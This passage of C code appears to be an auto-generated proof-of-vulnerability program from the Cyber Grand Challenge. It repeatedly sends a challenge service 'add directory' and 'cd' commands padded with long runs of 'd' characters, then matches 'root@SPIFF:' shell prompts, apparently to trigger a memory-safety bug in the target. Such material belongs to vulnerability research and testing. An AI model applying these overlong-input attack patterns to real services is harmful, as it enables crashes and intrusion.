"\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x0a"; static unsigned int write_00056_00000_len = 115; unsigned char *write_00056 = NULL; unsigned int write_00056_len = 0; write_00056 = cgc_append_buf(write_00056, &write_00056_len, write_00056_00000, write_00056_00000_len); if (write_00056_len > 0) { cgc_transmit_all(1, write_00056, write_00056_len); } cgc_free(write_00056); } while (0); do { unsigned char *read_00161; unsigned int read_00161_len; unsigned int read_00161_ptr = 0; //**** delimited read static unsigned char read_00161_delim[] = "\x40"; read_00161 = NULL; read_00161_len = 0; int read_00161_res = cgc_delimited_read(0, &read_00161, &read_00161_len, read_00161_delim, 1); if (read_00161_res) {} //silence unused variable warning //**** read match data static unsigned char match_00161_00000[] = "\x72\x6f\x6f\x74"; read_00161_ptr += cgc_data_match(read_00161 + read_00161_ptr, read_00161_len - read_00161_ptr, match_00161_00000, 4); cgc_free(read_00161); if (read_00161_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00162; unsigned int read_00162_len; unsigned int read_00162_ptr = 0; //**** delimited read static unsigned char read_00162_delim[] = "\x2f"; read_00162 = NULL; read_00162_len = 0; int read_00162_res = cgc_delimited_read(0, &read_00162, &read_00162_len, read_00162_delim, 1); if (read_00162_res) {} //silence unused variable warning //**** read match data static unsigned char match_00162_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00162_ptr += cgc_data_match(read_00162 + read_00162_ptr, read_00162_len - read_00162_ptr, match_00162_00000, 6); cgc_free(read_00162); if (read_00162_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00163; unsigned int read_00163_len; unsigned int read_00163_ptr = 0; //**** delimited read static unsigned char read_00163_delim[] = "\x3e"; read_00163 = NULL; read_00163_len = 0; int read_00163_res = cgc_delimited_read(0, &read_00163, &read_00163_len, read_00163_delim, 1); if (read_00163_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00163_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00163_00000_match; pcre *read_00163_00000_pcre = cgc_init_regex(read_00163_00000_regex); if (read_00163_00000_pcre != NULL) { int rc = cgc_regex_match(read_00163_00000_pcre, 0, read_00163 + read_00163_ptr, read_00163_len - read_00163_ptr, &read_00163_00000_match); if (rc > 0) { read_00163_ptr += read_00163_00000_match.match_end - read_00163_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00163_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed regex compile, just keep sending stuff. } cgc_free(read_00163); if (read_00163_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00057_00000[] = "\x63\x64\x20\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x0a"; static unsigned int write_00057_00000_len = 104; unsigned char *write_00057 = NULL; unsigned int write_00057_len = 0; write_00057 = cgc_append_buf(write_00057, &write_00057_len, write_00057_00000, write_00057_00000_len); if (write_00057_len > 0) { cgc_transmit_all(1, write_00057, write_00057_len); } cgc_free(write_00057); } while (0); do { unsigned char *read_00164; unsigned int read_00164_len; unsigned int read_00164_ptr = 0; //**** delimited read static unsigned char read_00164_delim[] = "\x40"; read_00164 = NULL; read_00164_len = 0; int read_00164_res = cgc_delimited_read(0, &read_00164, &read_00164_len, read_00164_delim, 1); if (read_00164_res) {} //silence unused variable warning //**** read match data static unsigned char match_00164_00000[] = "\x72\x6f\x6f\x74"; read_00164_ptr += cgc_data_match(read_00164 + read_00164_ptr, read_00164_len - read_00164_ptr, match_00164_00000, 4); cgc_free(read_00164); if (read_00164_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00165; unsigned int read_00165_len; unsigned int read_00165_ptr = 0; //**** delimited read static unsigned char read_00165_delim[] = "\x2f"; read_00165 = NULL; read_00165_len = 0; int read_00165_res = cgc_delimited_read(0, &read_00165, &read_00165_len, read_00165_delim, 1); if (read_00165_res) {} //silence unused variable warning //**** read match data static unsigned char match_00165_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00165_ptr += cgc_data_match(read_00165 + read_00165_ptr, read_00165_len - read_00165_ptr, match_00165_00000, 6); cgc_free(read_00165); if (read_00165_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00166; unsigned int read_00166_len; unsigned int read_00166_ptr = 0; //**** delimited read static unsigned char read_00166_delim[] = "\x3e"; read_00166 = NULL; read_00166_len = 0; int read_00166_res = cgc_delimited_read(0, &read_00166, &read_00166_len, read_00166_delim, 1); if (read_00166_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00166_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00166_00000_match; pcre *read_00166_00000_pcre = cgc_init_regex(read_00166_00000_regex); if (read_00166_00000_pcre != NULL) { int rc = cgc_regex_match(read_00166_00000_pcre, 0, read_00166 + read_00166_ptr, read_00166_len - read_00166_ptr, &read_00166_00000_match); if (rc > 0) { read_00166_ptr += read_00166_00000_match.match_end - read_00166_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00166_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed regex compile, just keep sending stuff. } cgc_free(read_00166); if (read_00166_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00058_00000[] = "\x61\x64\x64\x20\x64\x69\x72\x65\x63\x74\x6f\x72\x79\x20\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x0a"; static unsigned int write_00058_00000_len = 115; unsigned char *write_00058 = NULL; unsigned int write_00058_len = 0; write_00058 = cgc_append_buf(write_00058, &write_00058_len, write_00058_00000, write_00058_00000_len); if (write_00058_len > 0) { cgc_transmit_all(1, write_00058, write_00058_len); } cgc_free(write_00058); } while (0); do { unsigned char *read_00167; unsigned int read_00167_len; unsigned int read_00167_ptr = 0; //**** delimited read static unsigned char read_00167_delim[] = "\x40"; read_00167 = NULL; read_00167_len = 0; int read_00167_res = cgc_delimited_read(0, &read_00167, &read_00167_len, read_00167_delim, 1); if (read_00167_res) {} //silence unused variable warning //**** read match data static unsigned char match_00167_00000[] = "\x72\x6f\x6f\x74"; read_00167_ptr += cgc_data_match(read_00167 + read_00167_ptr, read_00167_len - read_00167_ptr, match_00167_00000, 4); cgc_free(read_00167); if (read_00167_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00168; unsigned int read_00168_len; unsigned int read_00168_ptr = 0; //**** delimited read static unsigned char read_00168_delim[] = "\x2f"; read_00168 = NULL; read_00168_len = 0; int read_00168_res = cgc_delimited_read(0, &read_00168, &read_00168_len, read_00168_delim, 1); if (read_00168_res) {} //silence unused variable warning //**** read match data static unsigned char match_00168_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00168_ptr += cgc_data_match(read_00168 + read_00168_ptr, read_00168_len - read_00168_ptr, match_00168_00000, 6); cgc_free(read_00168); if (read_00168_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00169; unsigned int read_00169_len; unsigned int read_00169_ptr = 0; //**** delimited read static unsigned char read_00169_delim[] = "\x3e"; read_00169 = NULL; read_00169_len = 0; int read_00169_res = cgc_delimited_read(0, &read_00169, &read_00169_len, read_00169_delim, 1); if (read_00169_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00169_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00169_00000_match; pcre *read_00169_00000_pcre = cgc_init_regex(read_00169_00000_regex); if (read_00169_00000_pcre != NULL) { int rc = cgc_regex_match(read_00169_00000_pcre, 0, read_00169 + read_00169_ptr, read_00169_len - read_00169_ptr, &read_00169_00000_match); if (rc > 0) { read_00169_ptr += read_00169_00000_match.match_end - read_00169_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00169_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed regex compile, just keep sending stuff. } cgc_free(read_00169); if (read_00169_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00059_00000[] = "\x63\x64\x20\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x0a"; static unsigned int write_00059_00000_len = 104; unsigned char *write_00059 = NULL; unsigned int write_00059_len = 0; write_00059 = cgc_append_buf(write_00059, &write_00059_len, write_00059_00000, write_00059_00000_len); if (write_00059_len > 0) { cgc_transmit_all(1, write_00059, write_00059_len); } cgc_free(write_00059); } while (0); do { unsigned char *read_00170; unsigned int read_00170_len; unsigned int read_00170_ptr = 0; //**** delimited read static unsigned char read_00170_delim[] = "\x40"; read_00170 = NULL; read_00170_len = 0; int read_00170_res = cgc_delimited_read(0, &read_00170, &read_00170_len, read_00170_delim, 1); if (read_00170_res) {} //silence unused variable warning //**** read match data static unsigned char match_00170_00000[] = "\x72\x6f\x6f\x74"; read_00170_ptr += cgc_data_match(read_00170 + read_00170_ptr, read_00170_len - read_00170_ptr, match_00170_00000, 4); cgc_free(read_00170); if (read_00170_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00171; unsigned int read_00171_len; unsigned int read_00171_ptr = 0; //**** delimited read static unsigned char read_00171_delim[] = "\x2f"; read_00171 = NULL; read_00171_len = 0; int read_00171_res = cgc_delimited_read(0, &read_00171, &read_00171_len, read_00171_delim, 1); if (read_00171_res) {} //silence unused variable warning //**** read match data static unsigned char match_00171_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00171_ptr += cgc_data_match(read_00171 + read_00171_ptr, read_00171_len - read_00171_ptr, match_00171_00000, 6); cgc_free(read_00171); if (read_00171_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00172; unsigned int read_00172_len; unsigned int read_00172_ptr = 0; //**** delimited read static unsigned char read_00172_delim[] = "\x3e"; read_00172 = NULL; read_00172_len = 0; int read_00172_res = cgc_delimited_read(0, &read_00172, &read_00172_len, read_00172_delim, 1); if (read_00172_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00172_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00172_00000_match; pcre *read_00172_00000_pcre = cgc_init_regex(read_00172_00000_regex); if (read_00172_00000_pcre != NULL) { int rc = cgc_regex_match(read_00172_00000_pcre, 0, read_00172 + read_00172_ptr, read_00172_len - read_00172_ptr, &read_00172_00000_match); if (rc > 0) { read_00172_ptr += read_00172_00000_match.match_end - read_00172_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00172_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed regex compile, just keep sending stuff. } cgc_free(read_00172); if (read_00172_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00060_00000[] = "\x61\x64\x64\x20\x64\x69\x72\x65\x63\x74\x6f\x72\x79\x20\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x0a"; static unsigned int write_00060_00000_len = 115; unsigned char *write_00060 = NULL; unsigned int write_00060_len = 0; write_00060 = cgc_append_buf(write_00060, &write_00060_len, write_00060_00000, write_00060_00000_len); if (write_00060_len > 0) { cgc_transmit_all(1, write_00060, write_00060_len); } cgc_free(write_00060); } while (0); do { unsigned char *read_00173; unsigned int read_00173_len; unsigned int read_00173_ptr = 0; //**** delimited read static unsigned char read_00173_delim[] = "\x40"; read_00173 = NULL; read_00173_len = 0; int read_00173_res = cgc_delimited_read(0, &read_00173, &read_00173_len, read_00173_delim, 1); if (read_00173_res) {} //silence unused variable warning //**** read match data static unsigned char match_00173_00000[] = "\x72\x6f\x6f\x74"; read_00173_ptr += cgc_data_match(read_00173 + read_00173_ptr, read_00173_len - read_00173_ptr, match_00173_00000, 4); cgc_free(read_00173); if (read_00173_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00174; unsigned int read_00174_len; unsigned int read_00174_ptr = 0; //**** delimited read static unsigned char read_00174_delim[] = "\x2f"; read_00174 = NULL; read_00174_len = 0; int read_00174_res = cgc_delimited_read(0, &read_00174, &read_00174_len, read_00174_delim, 1); if (read_00174_res) {} //silence unused variable warning //**** read match data static unsigned char match_00174_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00174_ptr += cgc_data_match(read_00174 + read_00174_ptr, read_00174_len - read_00174_ptr, match_00174_00000, 6); cgc_free(read_00174); if (read_00174_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00175; unsigned int read_00175_len; unsigned int read_00175_ptr = 0; //**** delimited read static unsigned char read_00175_delim[] = "\x3e"; read_00175 = NULL; read_00175_len = 0; int read_00175_res = cgc_delimited_read(0, &read_00175, &read_00175_len, read_00175_delim, 1); if (read_00175_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00175_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00175_00000_match; pcre *read_00175_00000_pcre = cgc_init_regex(read_00175_00000_regex); if (read_00175_00000_pcre != NULL) { int rc = cgc_regex_match(read_00175_00000_pcre, 0, read_00175 + read_00175_ptr, read_00175_len - read_00175_ptr, &read_00175_00000_match); if (rc > 0) { read_00175_ptr += read_00175_00000_match.match_end - read_00175_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00175_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed regex compile, just keep sending stuff. } cgc_free(read_00175); if (read_00175_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00061_00000[] = "\x63\x64\x20\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x0a"; static unsigned int write_00061_00000_len = 104; unsigned char *write_00061 = NULL; unsigned int write_00061_len = 0; write_00061 = cgc_append_buf(write_00061, &write_00061_len, write_00061_00000, write_00061_00000_len); if (write_00061_len > 0) { cgc_transmit_all(1, write_00061, write_00061_len); } cgc_free(write_00061); } while (0); do { unsigned char *read_00176; unsigned int read_00176_len; unsigned int read_00176_ptr = 0; //**** delimited read static unsigned char read_00176_delim[] = "\x40"; read_00176 = NULL; read_00176_len = 0; int read_00176_res = cgc_delimited_read(0, &read_00176, &read_00176_len, read_00176_delim, 1); if (read_00176_res) {} //silence unused variable warning //**** read match data static unsigned char match_00176_00000[] = "\x72\x6f\x6f\x74"; read_00176_ptr += cgc_data_match(read_00176 + read_00176_ptr, read_00176_len - read_00176_ptr, match_00176_00000, 4); cgc_free(read_00176); if (read_00176_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00177; unsigned int read_00177_len; unsigned int read_00177_ptr = 0; //**** delimited read static unsigned char read_00177_delim[] = "\x2f"; read_00177 = NULL; read_00177_len = 0; int read_00177_res = cgc_delimited_read(0, &read_00177, &read_00177_len, read_00177_delim, 1); if (read_00177_res) {} //silence unused variable warning //**** read match data static unsigned char match_00177_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00177_ptr += cgc_data_match(read_00177 + read_00177_ptr, read_00177_len - read_00177_ptr, match_00177_00000, 6); cgc_free(read_00177); if (read_00177_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00178; unsigned int read_00178_len; unsigned int read_00178_ptr = 0; //**** delimited read static unsigned char read_00178_delim[] = "\x3e"; read_00178 = NULL; read_00178_len = 0; int read_00178_res = cgc_delimited_read(0, &read_00178, &read_00178_len, read_00178_delim, 1); if (read_00178_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00178_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00178_00000_match; pcre *read_00178_00000_pcre = cgc_init_regex(read_00178_00000_regex); if (read_00178_00000_pcre != NULL) { int rc = cgc_regex_match(read_00178_00000_pcre, 0, read_00178 + read_00178_ptr, read_00178_len - read_00178_ptr, &read_00178_00000_match); if (rc > 0) { read_00178_ptr += read_00178_00000_match.match_end - read_00178_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00178_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed regex compile, just keep sending stuff. } cgc_free(read_00178); if (read_00178_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00062_00000[] = "\x61\x64\x64\x20\x64\x69\x72\x65\x63\x74\x6f\x72\x79\x20\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x0a"; static unsigned int write_00062_00000_len = 115; unsigned char *write_00062 = NULL; unsigned int write_00062_len = 0; write_00062 = cgc_append_buf(write_00062, &write_00062_len, write_00062_00000, write_00062_00000_len); if (write_00062_len > 0) { cgc_transmit_all(1, write_00062, write_00062_len); } cgc_free(write_00062); } while (0); do { unsigned char *read_00179; unsigned int read_00179_len; unsigned int read_00179_ptr = 0; //**** delimited read static unsigned char read_00179_delim[] = "\x40"; read_00179 = NULL; read_00179_len = 0; int read_00179_res = cgc_delimited_read(0, &read_00179, &read_00179_len, read_00179_delim, 1); if (read_00179_res) {} //silence unused variable warning //**** read match data static unsigned char match_00179_00000[] = "\x72\x6f\x6f\x74"; read_00179_ptr += cgc_data_match(read_00179 + read_00179_ptr, read_00179_len - read_00179_ptr, match_00179_00000, 4); cgc_free(read_00179); if (read_00179_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00180; unsigned int read_00180_len; unsigned int read_00180_ptr = 0; //**** delimited read static unsigned char read_00180_delim[] = "\x2f"; read_00180 = NULL; read_00180_len = 0; int read_00180_res = cgc_delimited_read(0, &read_00180, &read_00180_len, read_00180_delim, 1); if (read_00180_res) {} //silence unused variable warning //**** read match data static unsigned char match_00180_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00180_ptr += cgc_data_match(read_00180 + read_00180_ptr, read_00180_len - read_00180_ptr, match_00180_00000, 6); cgc_free(read_00180); if (read_00180_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00181; unsigned int read_00181_len; unsigned int read_00181_ptr = 0; //**** delimited read static unsigned char read_00181_delim[] = "\x3e"; read_00181 = NULL; read_00181_len = 0; int read_00181_res = cgc_delimited_read(0, &read_00181, &read_00181_len, read_00181_delim, 1); if (read_00181_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00181_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00181_00000_match; pcre *read_00181_00000_pcre = cgc_init_regex(read_00181_00000_regex); if (read_00181_00000_pcre != NULL) { int rc = cgc_regex_match(read_00181_00000_pcre, 0, read_00181 + read_00181_ptr, read_00181_len - read_00181_ptr, &read_00181_00000_match); if (rc > 0) { read_00181_ptr += read_00181_00000_match.match_end - read_00181_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00181_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed regex compile, just keep sending stuff. } cgc_free(read_00181); if (read_00181_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00063_00000[] = "\x63\x64\x20\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x0a"; static unsigned int write_00063_00000_len = 104; unsigned char *write_00063 = NULL; unsigned int write_00063_len = 0; write_00063 = cgc_append_buf(write_00063, &write_00063_len, write_00063_00000, write_00063_00000_len); if (write_00063_len > 0) { cgc_transmit_all(1, write_00063, write_00063_len); } cgc_free(write_00063); } while (0); do { unsigned char *read_00182; unsigned int read_00182_len; unsigned int read_00182_ptr = 0; //**** delimited read static unsigned char read_00182_delim[] = "\x40"; read_00182 = NULL; read_00182_len = 0; int read_00182_res = cgc_delimited_read(0, &read_00182, &read_00182_len, read_00182_delim, 1); if (read_00182_res) {} //silence unused variable warning //**** read match data static unsigned char match_00182_00000[] = "\x72\x6f\x6f\x74"; read_00182_ptr += cgc_data_match(read_00182 + read_00182_ptr, read_00182_len - read_00182_ptr, match_00182_00000, 4); cgc_free(read_00182); if (read_00182_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00183; unsigned int read_00183_len; unsigned int read_00183_ptr = 0; //**** delimited read static unsigned char read_00183_delim[] = "\x2f"; read_00183 = NULL; read_00183_len = 0; int read_00183_res = cgc_delimited_read(0, &read_00183, &read_00183_len, read_00183_delim, 1); if (read_00183_res) {} //silence unused variable warning //**** read match data static unsigned char match_00183_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00183_ptr += cgc_data_match(read_00183 + read_00183_ptr, read_00183_len - read_00183_ptr, match_00183_00000, 6); cgc_free(read_00183); if (read_00183_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00184; unsigned int read_00184_len; unsigned int read_00184_ptr = 0; //**** delimited read static unsigned char read_00184_delim[] = "\x3e"; read_00184 = NULL; read_00184_len = 0; int read_00184_res = cgc_delimited_read(0, &read_00184, &read_00184_len, read_00184_delim, 1); if (read_00184_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00184_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00184_00000_match; pcre *read_00184_00000_pcre = cgc_init_regex(read_00184_00000_regex); if (read_00184_00000_pcre != NULL) { int rc = cgc_regex_match(read_00184_00000_pcre, 0, read_00184 + read_00184_ptr, read_00184_len - read_00184_ptr, &read_00184_00000_match); if (rc > 0) { read_00184_ptr += read_00184_00000_match.match_end - read_00184_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00184_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed regex compile, just keep sending stuff. } cgc_free(read_00184); if (read_00184_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00064_00000[] = "\x61\x64\x64\x20\x64\x69\x72\x65\x63\x74\x6f\x72\x79\x20\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x0a"; static unsigned int write_00064_00000_len = 115; unsigned char *write_00064 = NULL; unsigned int write_00064_len = 0; write_00064 = cgc_append_buf(write_00064, &write_00064_len, write_00064_00000, write_00064_00000_len); if (write_00064_len > 0) { cgc_transmit_all(1, write_00064, write_00064_len); } cgc_free(write_00064); } while (0); do { unsigned char *read_00185; unsigned int read_00185_len; unsigned int read_00185_ptr = 0; //**** delimited read static unsigned char read_00185_delim[] = "\x40"; read_00185 = NULL; read_00185_len = 0; int read_00185_res = cgc_delimited_read(0, &read_00185, &read_00185_len, read_00185_delim, 1); if (read_00185_res) {} //silence unused variable warning //**** read match data static unsigned char match_00185_00000[] = "\x72\x6f\x6f\x74"; read_00185_ptr += cgc_data_match(read_00185 + read_00185_ptr, read_00185_len - read_00185_ptr, match_00185_00000, 4); cgc_free(read_00185); if (read_00185_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00186; unsigned int read_00186_len; unsigned int read_00186_ptr = 0; //**** delimited read static unsigned char read_00186_delim[] = "\x2f"; read_00186 = NULL; read_00186_len = 0; int read_00186_res = cgc_delimited_read(0, &read_00186, &read_00186_len, read_00186_delim, 1); if (read_00186_res) {} //silence unused variable warning //**** read match data static unsigned char match_00186_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00186_ptr += cgc_data_match(read_00186 + read_00186_ptr, read_00186_len - read_00186_ptr, match_00186_00000, 6); cgc_free(read_00186); if (read_00186_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00187; unsigned int read_00187_len; unsigned int read_00187_ptr = 0; //**** delimited read static unsigned char read_00187_delim[] = "\x3e"; read_00187 = NULL; read_00187_len = 0; int read_00187_res = cgc_delimited_read(0, &read_00187, &read_00187_len, read_00187_delim, 1); if (read_00187_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00187_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00187_00000_match; pcre *read_00187_00000_pcre = cgc_init_regex(read_00187_00000_regex); if (read_00187_00000_pcre != NULL) { int rc = cgc_regex_match(read_00187_00000_pcre, 0, read_00187 + read_00187_ptr, read_00187_len - read_00187_ptr, &read_00187_00000_match); if (rc > 0) { read_00187_ptr += read_00187_00000_match.match_end - read_00187_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00187_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed 